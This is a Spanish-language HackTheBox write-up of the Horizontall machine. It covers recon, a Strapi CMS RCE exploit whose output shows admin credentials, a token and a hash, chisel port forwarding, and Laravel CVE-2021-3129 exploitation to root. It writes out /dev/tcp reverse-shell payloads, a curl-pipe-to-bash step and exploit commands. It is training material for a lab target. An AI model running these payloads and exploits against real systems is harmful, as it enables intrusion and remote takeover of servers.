> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md).

# Redacción de Horizontall HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Horizontall>" %}

{% hint style="warning" %}
**Habilidades:**

* Fuga de información
* Reenvío de puertos
* Explotación de Strapi CMS
* Explotación de Laravel
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/cf43ee8ad07cc3afcb32d6f0baba7e3aacb7edc4" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/ba7b54dbc3158efb14894260b9e5bd7efb5fcef9" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.105 -oG allPorts
```

<figure><img src="/files/90c9614003cb97d7f722acd460fd9b9fb46a0a97" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap 22.80:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.11.105 -oN targeted
```

<figure><img src="/files/d30c60be31ad227a2b03ce83a9e6f6dbe45a0b3d" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio en direcciones IP mediante DNS, inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo.

<figure><img src="/files/511d6957fd215f85e8c697a4fcf9567eafb8e60a" alt=""><figcaption></figcaption></figure>

## Escanear el puerto 80

<figure><img src="/files/2d2b3a307b485fd35cde9e3635dfce5d3dec22ad" alt=""><figcaption></figcaption></figure>

### Fuzzing de subdominios (gobuster)

Luego lanzamos una búsqueda de subdominios con **Gobuster**:

```bash
gobuster vhost -u http://horizontall.htb/ --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 100
```

Encontramos un subdominio interesante: **api-prod.horizontall.htb**.

<figure><img src="/files/6bc7295a0db7c1fea8d81b746b6776f505ecc7da" alt=""><figcaption></figcaption></figure>

Lo añadimos a **/etc/hosts**

<figure><img src="/files/728c88a6f0a7716057538b6737186e1fb8e810a4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/6f0aa11eb8a63fea91b46feea86024ae1d8b1b33" alt=""><figcaption></figcaption></figure>

### Fuzzing del directorio de la API

Realizamos un análisis de los directorios accesibles en el subdominio de la API:

```
gobuster dir -u http://api-prod.horizontall.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

Encontramos:

* admin
* users
* reviews

<figure><img src="/files/42f2203d404d28a5bd071090b31236be276a8102" alt=""><figcaption></figcaption></figure>

```bash
gobuster dir -u http://api-prod.horizontall.htb/Users/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

### Explotación de Strapi CMS (RCE)

Buscamos una vulnerabilidad en Strapi con **searchsploit**:

```
searchsploit -m multiple/webapps/50239.py
```

<figure><img src="/files/d4b9521ff387e02afc912796b98ea44969738e92" alt=""><figcaption></figcaption></figure>

Utilizamos el exploit:

```bash
python3 50239.py http://api-prod.horizontall.htb
```

<figure><img src="/files/0a3206ce443fa09c68daac9bde28b126901655f0" alt=""><figcaption></figcaption></figure>

Esto nos proporciona credenciales de administrador

{% code overflow="wrap" %}

```javascript
[+] Tu correo electrónico es: admin@horizontall.htb
[+] Tus nuevas credenciales son: admin:SuperStrongPassword1 
[+] Tu JSON Web Token autenticado: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzQwNjk2NzU1LCJleHAiOjE3NDMyODg3NTV9.WMksWcYjinav1IGH6KHOU0tleELdaY2Wmy2-WufxGm0
```

{% endcode %}

<figure><img src="/files/28bd472f112f13ed543050eb433c66fd96216e57" alt=""><figcaption></figcaption></figure>

Recuperamos un hash de contraseña del usuario que acaba de ser creado:

* admin
* $2a$10$y5rS5PnHngnev02rnXIpF.a26DYsqCeSvPrLkKU1Go1Wp4.LTUhj6

<figure><img src="/files/7f937145b533e971241bf6e16ee32fda9a18d078" alt=""><figcaption></figcaption></figure>

### Obtención de una Reverse Shell

Creamos un **index.html** que contiene una carga útil de reverse shell:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.75/443 0>&1
```

Lanzamos un servidor web:

```bash
python3 -m http.server 80
```

Abrimos una conexión de escucha:

```bash
nc -nlvp 443
```

Luego ejecutamos la carga útil en el objetivo:

```bash
curl http://10.10.14.75:80 | bash
```

<figure><img src="/files/02c34c108e9fc9ee7d9400ae4abd267877068a8c" alt=""><figcaption></figcaption></figure>

#### Estabilizamos nuestra shell:

```bash
script /dev/null -c bash
# Ctrl+Z


reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="/files/d64bc51178f960ba07265ee76ef2510034ac40cd" alt="" width="563"><figcaption></figcaption></figure>

## Escalada de privilegios

Luego enumeramos los puertos abiertos en la máquina objetivo para comprobar la presencia del puerto 8000:

```bash
netstat -tuln
```

<figure><img src="/files/1b463afbd0ea64c7cab5794d32e486d2634e48c8" alt=""><figcaption></figcaption></figure>

Luego, usamos `curl` para probar el acceso al servicio en el puerto 8000:

```bash
curl 127.0.0.1:8000
```

Luego observamos la presencia del CMS de Laravel.

<figure><img src="/files/a3084306bae4e15ac54b46a3e7b6f28ed06049f8" alt=""><figcaption></figcaption></figure>

### Redirección de puertos con chisel para el puerto 8000

Primero compilamos Chisel en nuestra máquina local:

{% embed url="<https://github.com/jpillora/chisel>" %}

Luego transferimos el ejecutable Chisel a la máquina víctima a través de un servidor HTTP de Python3

```bash
go build -ldflags "-s -w" .
upx chisel
```

<figure><img src="/files/8fdd9a4568297c5661fcfa573a0130814126cad4" alt=""><figcaption></figcaption></figure>

Luego transferimos el ejecutable Chisel a la máquina víctima a través de un servidor HTTP de Python3

```bash
python3 -m http.server 8080
wget http://10.10.14.75:8080/chisel
```

<figure><img src="/files/79831a344f14b37c3b06c285516cfe22a116a915" alt=""><figcaption></figcaption></figure>

En nuestra máquina, iniciamos el servidor Chisel:

```bash
./chisel server -p 9000 -reverse
```

Luego, en la máquina víctima, configuramos el cliente Chisel para redirigir el puerto 8000 a nuestra máquina local:

```bash
./chisel client 10.10.14.75:9000 R:8000:127.0.0.1:8000
```

<figure><img src="/files/9f71e06b5e5523d1927ecd1fe415fd8a570e2d1b" alt=""><figcaption></figcaption></figure>

## Explotación de Laravel CMS (CVE-2021-3129)

{% embed url="<https://github.com/0x0d3ad/CVE-2021-3129>" %}

<figure><img src="/files/208d48a0f822101b9472b0a18f7b607f0fc495db" alt=""><figcaption></figcaption></figure>

#### Ejecución de comandos arbitrarios

Aprovechamos la vulnerabilidad CVE-2021-3129 para ejecutar comandos arbitrarios en el servidor. Primero, probamos la ejecución enviando el `id` comando:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'id'
```

La salida confirma que tenemos privilegios de root.

<figure><img src="/files/e105b323241fdb6fa184025312c1d7f84249dd0b" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

Una vez confirmado el acceso, recuperamos la bandera leyendo el `/root/root.txt` archivo:

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'cat /root/root.txt'
```

### Obtención de acceso interactivo (Reverse Shell)

Para obtener una shell interactiva, configuramos un listener en el puerto 443:

```bash
nc -nvlp 443
```

A continuación, obtenemos una reverse shell del objetivo usando el exploit:

{% code overflow="wrap" %}

```bash
python3 CVE-2021-3129.py http://0.0.0.0:8000/ --cmd 'bash -c "bash -i >&/dev/tcp/10.10.14.75/443 0>&1"'
```

{% endcode %}

Luego obtenemos acceso root en la máquina objetivo.

<figure><img src="/files/19b5135e8b50253b0193e3886e25c9e8c00e34f7" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/fba675e491a27404dd9e038f5e5991996cc48896" alt="" width="541"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/horizontall-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
